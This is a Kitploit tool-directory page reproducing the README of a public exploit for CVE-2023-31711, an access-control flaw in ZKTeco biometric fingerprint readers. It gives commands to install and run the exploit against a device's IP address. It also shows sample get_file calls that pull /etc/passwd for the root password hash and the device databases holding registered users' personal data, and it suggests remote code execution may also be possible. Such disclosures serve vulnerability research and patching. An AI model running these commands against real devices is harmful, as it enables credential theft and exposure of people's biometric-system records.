Skip to content

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories

Loading categories

CVE-2023-31711 — Zero-day Vulnerability in ZKTEco biometric fingerprint reader. | Kitploit

GitHub/hritikthapa7/cve-2023-31711

Vulnerability Analysis Exploitation Web Application Exploitation Data Exfiltration Information Gathering Penetration Testing

hritikthapa7/cve-2023-31711

CVE-2023-31711

Zero-day Vulnerability in ZKTEco biometric fingerprint reader.

View Repository

2223 years ago

Most Popular

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

Share

CVE-2023-31711

Incorrect Access Control in ZKTECO allows remote attackers to read any file via the administrative API.

Installing required modules

Inside the directory ZKTEco:
$ pip install -r ./pyzatt/requirements_dev.txt

Running the exploit

Inside the directory ZKTEco:
$ python exploit.py <ip_address>
Connected to 10.0.2.25
(Cmd) get_file <file_name>
Examples:
get_file /etc/passwd: Disclosed root password's hash
get_file /mnt/mtdblock/data/ZKDB.db: Disclosed PII of registered users. To read the contents, you might need to run this command sequentially as many times till the whole contents
get disclosed
get_file /mnt/mtdblock/data/ZKSystem.db: Disclosed sensitive information related to the system

Credits

Exploit:

https://github.com/ProCheckUp/SafeScan

Pyzatt Module: https://github.com/adrobinoga/pyzatt

Note

The devices could be potentially vulnerable to Remote Code Execution as well through the use of the administrative API. The exploit mentioned in credits section could be a good place to find a test for it.